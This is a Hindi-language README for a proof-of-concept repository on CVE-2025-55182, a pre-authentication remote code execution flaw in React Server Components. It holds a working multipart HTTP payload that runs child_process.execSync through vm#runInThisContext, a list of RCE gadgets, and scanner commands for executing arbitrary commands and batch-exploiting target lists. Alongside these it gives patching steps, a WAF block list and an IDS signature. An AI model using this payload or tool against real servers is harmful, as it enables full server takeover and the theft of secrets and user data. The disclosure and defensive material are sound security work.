CVE-2025-55182: React सर्वर कंपोनेंट्स में क्रिटिकल प्री-ऑथेंटिकेशन RCE

schema.cx द्वारा सुरक्षा अनुसंधान
"नियंत्रण एक भ्रम है। यह वे सिस्टम हैं जिन्हें हम बनाते हैं जो हमें नियंत्रित करते हैं—जब तक कि हम उन्हें पहले नहीं समझते।"

📋 विषय-सूची

• अस्वीकरण और कानूनी सूचना
• कार्यकारी सारांश
• तकनीकी विवरण
• प्रभावित सिस्टम
• प्रूफ ऑफ कॉन्सेप्ट
• प्रभाव आकलन
• शमन और निवारण
• जिम्मेदार प्रकटीकरण समयरेखा
• संदर्भ
• श्रेय

⚠️ अस्वीकरण और कानूनी सूचना

यह टूल केवल अधिकृत सुरक्षा परीक्षण के लिए है

रुकें। आगे बढ़ने से पहले इसे पढ़ें।

इस रिपॉजिटरी में एक क्रिटिकल सुरक्षा भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट कोड शामिल है। इस रिपॉजिटरी में किसी भी सामग्री तक पहुँच, डाउनलोड या उपयोग करके, आप निम्नलिखित को स्वीकार करते हैं और सहमत होते हैं:

कानूनी आवश्यकताएँ

1. लिखित प्राधिकरण आवश्यक: किसी भी सुरक्षा परीक्षण से पहले आपके पास सिस्टम स्वामी से स्पष्ट, लिखित अनुमति होनी चाहिए। मौखिक समझौते पर्याप्त नहीं हैं।

2. दायरे की सीमाएँ: परीक्षण केवल आपके प्राधिकरण में स्पष्ट रूप से सूचीबद्ध सिस्टम तक सीमित होना चाहिए। "स्कोप क्रीप" की अनुमति नहीं है।

3. लागू कानून: कंप्यूटर सिस्टम तक अनधिकृत पहुँच निम्नलिखित का उल्लंघन करती है:

   • संयुक्त राज्य अमेरिका: कंप्यूटर फ्रॉड एंड एब्यूज़ एक्ट (CFAA), 18 U.S.C. § 1030
   • यूरोपीय संघ: सूचना प्रणालियों पर हमलों से संबंधित निर्देश 2013/40/EU
   • यूनाइटेड किंगडम: कंप्यूटर मिसयूज़ एक्ट 1990
   • ऑस्ट्रेलिया: क्रिमिनल कोड एक्ट 1995, डिवीज़न 477-478
   • अन्य क्षेत्राधिकार: समान कंप्यूटर अपराध कानून विश्व स्तर पर लागू होते हैं

दायित्व अस्वीकरण

इस रिपॉजिटरी के लेखक और योगदानकर्ता:

• इस टूल के दुरुपयोग के लिए कोई जिम्मेदारी स्वीकार नहीं करते हैं
• कोई वारंटी, स्पष्ट या निहित, प्रदान नहीं करते हैं
• इस सॉफ़्टवेयर के उपयोग या उपयोग करने में असमर्थता से उत्पन्न किसी भी क्षति के लिए उत्तरदायी नहीं हैं
• किसी भी प्रकार की अवैध गतिविधियों का समर्थन नहीं करते हैं

नैतिक दिशानिर्देश

• बिना अनुमति कभी परीक्षण न करें — भले ही आप "बस जाँच करना चाहते हों"
• सब कुछ दस्तावेज़ित करें — सभी परीक्षण गतिविधियों के विस्तृत लॉग बनाए रखें
• प्रभाव कम करें — यथासंभव कम आक्रामक तरीकों का उपयोग करें
• जिम्मेदारी से रिपोर्ट करें — समन्वित प्रकटीकरण प्रथाओं का पालन करें
• गोपनीयता का सम्मान करें — संवेदनशील डेटा को बाहर न निकालें या बनाए न रखें

"सवाल यह नहीं है कि क्या हम भेद्यता का शोषण कर सकते हैं। सवाल यह है कि क्या हमें करना चाहिए, और किस उद्देश्य के लिए।"

📊 कार्यकारी सारांश

CVE-2025-55182 एक क्रिटिकल प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है जो React 19.x और Next.js 15.x-16.x अनुप्रयोगों में React सर्वर कंपोनेंट्स को प्रभावित करती है।

व्यावसायिक प्रभाव

यह भेद्यता किसी भी अनप्रमाणित हमलावर को, जिसके पास भेद्य अनुप्रयोग तक नेटवर्क पहुँच है, सर्वर पर मनमाने कमांड निष्पादित करने की अनुमति देती है। हमले के लिए कोई क्रेडेंशियल, कोई उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है, और इसे पूरी तरह से स्वचालित किया जा सकता है। सफल शोषण से निम्नलिखित होता है:

• पूर्ण सर्वर समझौता — हमलावरों को अंतर्निहित सिस्टम पर पूर्ण नियंत्रण मिल जाता है
• डेटा उल्लंघन की संभावना — डेटाबेस, एनवायरनमेंट वेरिएबल्स, सीक्रेट्स और उपयोगकर्ता डेटा तक पहुँच
• लेटरल मूवमेंट — समझौता किए गए सर्वरों का उपयोग आंतरिक नेटवर्क पर हमला करने के लिए किया जा सकता है
• सप्लाई चेन जोखिम — लाखों उपयोगकर्ताओं की सेवा करने वाले प्रोडक्शन सिस्टम प्रभावित हो सकते हैं

गंभीरता रेटिंग

"लोग सिस्टम पर भरोसा करते हैं क्योंकि वे उन्हें समझते नहीं हैं। वह भरोसा ही एक भेद्यता है।"

🔬 तकनीकी विवरण

मूल कारण विश्लेषण

यह भेद्यता requireModule फ़ंक्शन के भीतर React के Flight प्रोटोकॉल कार्यान्वयन में मौजूद है। यह फ़ंक्शन यह सत्यापित किए बिना कि अनुरोधित प्रॉपर्टी मॉड्यूल की अपनी प्रॉपर्टी है, उपयोगकर्ता-नियंत्रित इनपुट के आधार पर मॉड्यूल एक्सपोर्ट तक पहुँचने के लिए ब्रैकेट नोटेशन का उपयोग करता है।

भेद्य कोड स्थान:

react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Function: requireModule (approximately line 2546-2558 in v19.0.0)

भेद्य पैटर्न:

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... async handling ...
  return moduleExports[metadata[2]];  // ← VULNERABLE: No hasOwnProperty check
}

शोषण तंत्र

यह हमला JavaScript की प्रोटोटाइप चेन ट्रैवर्सल का लाभ उठाता है:

1. प्रवेश बिंदु: हमलावर सर्वर एक्शन एंडपॉइंट पर एक दुर्भावनापूर्ण मल्टीपार्ट फॉर्म अनुरोध भेजता है
2. पेलोड इंजेक्शन: $ACTION_0:0 फ़ील्ड में हमलावर-नियंत्रित id (module#export प्रारूप) और bound (तर्क) प्रॉपर्टी वाला JSON होता है
3. प्रोटोटाइप एक्सेस: constructor जैसे एक्सपोर्ट निर्दिष्ट करके या प्रोटोटाइप प्रॉपर्टीज़ तक पहुँच कर, हमलावर अंतर्निहित Node.js मॉड्यूल्स का संदर्भ ले सकते हैं
4. RCE गैजेट्स: vm.runInThisContext, child_process.execSync, या fs.readFileSync जैसे फ़ंक्शन हमलावर-आपूर्ति तर्कों के साथ निष्पादित होते हैं

हमला वेक्टर

HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // Parses "module#export" format
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // Prototype chain access → RCE

पेलोड संरचना

POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

उपलब्ध RCE गैजेट्स

"हर सिस्टम का एक दरवाज़ा होता है। सवाल यह है कि क्या आपने ताला खुद बनाया है—या इसे किसी ऐसे व्यक्ति से विरासत में पाया है जिसने कभी आगंतुकों की उम्मीद नहीं की थी।"

🎯 प्रभावित सिस्टम

भेद्य संस्करण

शोषण के लिए पूर्वापेक्षाएँ

1. React सर्वर कंपोनेंट्स सक्षम: अनुप्रयोग सर्वर एक्शन के साथ RSC का उपयोग करता है
2. भेद्य React संस्करण: प्रभावित संस्करणों में से एक उपयोग में है
3. नेटवर्क पहुँच: हमलावर सर्वर एक्शन एंडपॉइंट तक पहुँच सकता है
4. बंडल में खतरनाक मॉड्यूल: प्रत्यक्ष RCE के लिए, vm, child_process, या fs जैसे मॉड्यूल वेबपैक बंडल में होने चाहिए

प्लेटफ़ॉर्म आवश्यकताएँ

• रनटाइम: Node.js (React 19 का समर्थन करने वाला कोई भी संस्करण)
• फ्रेमवर्क: Next.js ऐप राउटर या कस्टम RSC कार्यान्वयन
• भेद्य होने के लिए कोई अतिरिक्त कॉन्फ़िगरेशन आवश्यक नहीं है

खतरनाक मॉड्यूल की संभावना

🔧 प्रूफ ऑफ कॉन्सेप्ट

स्कैनर टूल

इस रिपॉजिटरी में कई ऑपरेशन मोड वाला एक व्यापक Python-आधारित सुरक्षा स्कैनर शामिल है।

रिपॉजिटरी संरचना

CVE-2025-55182-poc/
├── README.md                    # This file
├── scanner/
│   ├── __init__.py             # Python package init
│   ├── scanner.py              # Main unified scanner (6 modes)
│   ├── readme.md               # Detailed scanner documentation
│   ├── requirements.txt        # Python dependencies
│   └── docs/
│       ├── TECHNICAL-ANALYSIS.md    # Deep dive into vulnerability
│       └── VULNERABLE-PACKAGES.md   # Affected package versions

इंस्टॉलेशन:

cd scanner
pip install -r requirements.txt

बुनियादी उपयोग उदाहरण

भेद्यता स्कैन:

# Check if target is vulnerable
python scanner.py scan https://target.com

गैजेट पहचान:

# Identify available RCE gadgets
python scanner.py exploit https://target.com --detect-gadgets

कमांड निष्पादन (प्राधिकरण के साथ):

# Execute command on vulnerable target
python scanner.py exploit https://target.com -c "whoami"

बैच परीक्षण:

# Test multiple targets from file
python scanner.py batch -f targets.txt -o results.json

सत्यापन के साथ स्वचालित स्कैनिंग:

# Comprehensive scan with exploit verification
python scanner.py auto -f targets.txt -o report.txt

अपेक्षित आउटपुट

भेद्य लक्ष्य:

[+] VULNERABLE to CVE-2025-55182!
    Framework: Next.js
    Version: 15.1.0
    Confidence: HIGH
    
Available Gadgets:
  ✓ vm#runInThisContext
  ✓ child_process#execSync
  ✓ fs#readFileSync
  ✓ fs#writeFileSync

पैच किया गया लक्ष्य:

[-] Not vulnerable or unable to determine
    Framework detected: Next.js
    Version: 15.2.0 (patched)

स्कैनर मोड

विशेषताएँ

• फ्रेमवर्क पहचान: शोषण से पहले Next.js/React अनुप्रयोगों की पहचान करता है
• WAF/CDN पहचान: Cloudflare, Akamai, Incapsula, AWS WAF, Azure WAF और अधिक को पहचानता है
• एकाधिक RCE गैजेट्स: vm, child_process, fs, module शोषण पथ
• दो-चरणीय RCE: fs#writeFileSync + module#_load के माध्यम से वैकल्पिक शोषण
• सत्यापन: निष्पादन-प्रमाण के साथ एक्सप्लॉइट की पुष्टि करता है
• फॉल्स पॉज़िटिव रोकथाम: HTML/WAF प्रतिक्रियाओं की स्मार्ट फ़िल्टरिंग
• रिपोर्टिंग: टेक्स्ट, JSON और HTML आउटपुट प्रारूप

पूर्ण दस्तावेज़ीकरण के लिए, scanner/readme.md देखें।

"एक उपकरण केवल उतना ही खतरनाक होता है जितना उसके पीछे का इरादा। सही हाथों में, एक हथियार ढाल बन जाता है।"

💥 प्रभाव आकलन

गोपनीयता प्रभाव: उच्च

• एनवायरनमेंट वेरिएबल्स: डेटाबेस क्रेडेंशियल, API कुंजियाँ, सीक्रेट्स
• सोर्स कोड: अनुप्रयोग तर्क, मालिकाना एल्गोरिदम
• उपयोगकर्ता डेटा: व्यक्तिगत जानकारी, प्रमाणीकरण टोकन
• सिस्टम फ़ाइलें: /etc/passwd, SSH कुंजियाँ, क्लाउड क्रेडेंशियल
• आंतरिक नेटवर्क: आगे के हमलों के लिए पिवट पॉइंट

अखंडता प्रभाव: उच्च

• कोड इंजेक्शन: अनुप्रयोग फ़ाइलों में बैकडोर
• डेटा हेरफेर: डेटाबेस संशोधन
• कॉन्फ़िगरेशन परिवर्तन: सुरक्षा सेटिंग्स, एक्सेस नियंत्रण
• पर्सिस्टेंस तंत्र: क्रॉन जॉब, स्टार्टअप स्क्रिप्ट, SSH कुंजियाँ

उपलब्धता प्रभाव: उच्च

• सेवा व्यवधान: प्रोसेस समाप्ति, संसाधन क्षरण
• डेटा विनाश: फ़ाइल विलोपन, डेटाबेस ड्रॉप
• रैनसमवेयर तैनाती: महत्वपूर्ण फ़ाइलों का एन्क्रिप्शन
• पूर्ण सिस्टम समझौता: पूर्ण प्रशासनिक नियंत्रण

हमले के परिदृश्य

1. डेटा उल्लंघन: हमलावर डेटाबेस क्रेडेंशियल वाली .env फ़ाइलें पढ़ता है, ग्राहक डेटा बाहर निकालता है

2. क्रिप्टोमाइनर इंस्टॉलेशन: हमलावर माइनिंग स्क्रिप्ट लिखता है, पर्सिस्टेंस के लिए क्रॉन जॉब जोड़ता है

3. सप्लाई चेन अटैक: हमलावर प्रोडक्शन में सोर्स कोड संशोधित करता है, उपयोगकर्ताओं को दुर्भावनापूर्ण सामग्री परोसता है

4. लेटरल मूवमेंट: समझौता किया गया सर्वर आंतरिक डेटाबेस, API और सेवाओं पर हमला करने के लिए उपयोग किया जाता है

5. रैनसमवेयर: हमलावर अनुप्रयोग फ़ाइलों को एन्क्रिप्ट करता है, डिक्रिप्शन कुंजियों के लिए भुगतान की मांग करता है

🛡️ शमन और निवारण

तत्काल कार्रवाई (अभी करें)

1. React को तुरंत अपग्रेड करें

   root@kitploit:~

   npm update react react-dom react-server-dom-webpack
   

   लक्ष्य संस्करण: 19.0.1+, 19.1.2+, या 19.2.1+

2. पैच अनुप्रयोग सत्यापित करें

   root@kitploit:~

   npm ls react
   

   सुनिश्चित करें कि आपके डिपेंडेंसी ट्री में कोई भेद्य संस्करण नहीं बचा है

WAF/फ़ायरवॉल नियम

इन पैटर्न वाले अनुरोधों को ब्लॉक करें:

# Request body patterns to block
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync

Next.js कॉन्फ़िगरेशन हार्डनिंग

वेबपैक बंडलिंग से खतरनाक पैकेज बाहर करें:

// next.config.js
module.exports = {
  serverExternalPackages: [
    'sharp',
    'puppeteer',
    'execa',
    'shelljs',
    'vm2'
  ]
}

पहचान और निगरानी

निगरानी के लिए लॉग पैटर्न:

• अनुरोध निकायों में असामान्य $ACTION_REF_ या $ACTION_ID_ फ़ील्ड
• JSON युक्त मल्टीपार्ट फॉर्म डेटा के साथ /api/* एंडपॉइंट पर POST अनुरोध
• constructor, prototype, या अप्रत्याशित मॉड्यूल एक्सेस का संदर्भ देने वाले त्रुटि संदेश

घुसपैठ पहचान सिग्नेचर:

alert http any any -> $HOME_NET any (
  msg:"CVE-2025-55182 Exploit Attempt";
  content:"$ACTION_";
  content:"#constructor"; distance:0;
  sid:2025551820; rev:1;
)

दीर्घकालिक अनुशंसाएँ

1. डिपेंडेंसी ऑडिटिंग: npm audit, Snyk, या समान टूल के साथ नियमित स्कैन
2. सुरक्षा अपडेट: Dependabot या Renovate के माध्यम से स्वचालित डिपेंडेंसी अपडेट
3. इनपुट सत्यापन: प्रॉपर्टी एक्सेस पैटर्न में उपयोगकर्ता इनपुट पर कभी भरोसा न करें
4. न्यूनतम विशेषाधिकार: अनुप्रयोगों को न्यूनतम आवश्यक अनुमतियों के साथ चलाएँ
5. नेटवर्क विभाजन: प्रोडक्शन सिस्टम को आंतरिक नेटवर्क से अलग करें

"पैचिंग केवल टूटी चीज़ को ठीक करने के बारे में नहीं है। यह उन दरवाज़ों को बंद करने के बारे में है जिनके बारे में आप नहीं जानते थे कि वे खुले हैं।"

📅 जिम्मेदार प्रकटीकरण समयरेखा

यह प्रकटीकरण समन्वित भेद्यता प्रकटीकरण के लिए CERT/CC भेद्यता प्रकटीकरण दिशानिर्देश और ISO/IEC 29147:2018 मानकों का पालन करता है।

📚 संदर्भ

आधिकारिक संसाधन

• CVE प्रविष्टि: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
• NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

विक्रेता सलाह

• React सुरक्षा सलाह: https://github.com/facebook/react/security/advisories
• Next.js सुरक्षा: https://nextjs.org/docs/security

संबंधित अनुसंधान

• तकनीकी विश्लेषण (गहन अध्ययन)
• भेद्य पैकेज विश्लेषण

पृष्ठभूमि पठन

• OWASP - प्रोटोटाइप पॉल्यूशन
• Node.js VM मॉड्यूल सुरक्षा
• React सर्वर कंपोनेंट्स RFC

🏆 श्रेय

मूल अनुसंधान

यह प्रूफ-ऑफ-कॉन्सेप्ट schema.cx की सुरक्षा अनुसंधान टीम द्वारा विकसित किया गया था।

रिपॉजिटरी: https://github.com/ejpir/CVE-2025-55182-poc

आभार

हम धन्यवाद देना चाहते हैं:

• उनकी त्वरित प्रतिक्रिया के लिए React और Next.js सुरक्षा टीमें
• सहयोगात्मक विश्लेषण के लिए सुरक्षा अनुसंधान समुदाय
• CVE समन्वय के लिए MITRE

📜 लाइसेंस

यह प्रोजेक्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए जारी किया गया है।

इस सॉफ़्टवेयर का उपयोग करके, आप सहमत हैं:

1. इसका उपयोग केवल उन सिस्टमों पर करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण है
2. जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें
3. दुर्भावनापूर्ण उद्देश्यों के लिए इसका उपयोग न करें
4. अपने कार्यों की सभी जिम्मेदारी स्वीकार करें

"हम नष्ट करने के लिए हैक नहीं करते। हम समझने के लिए हैक करते हैं। और समझना कुछ बेहतर बनाने की दिशा में पहला कदम है।"

schema.cx — एक सुरक्षित डिजिटल दुनिया के लिए सुरक्षा अनुसंधान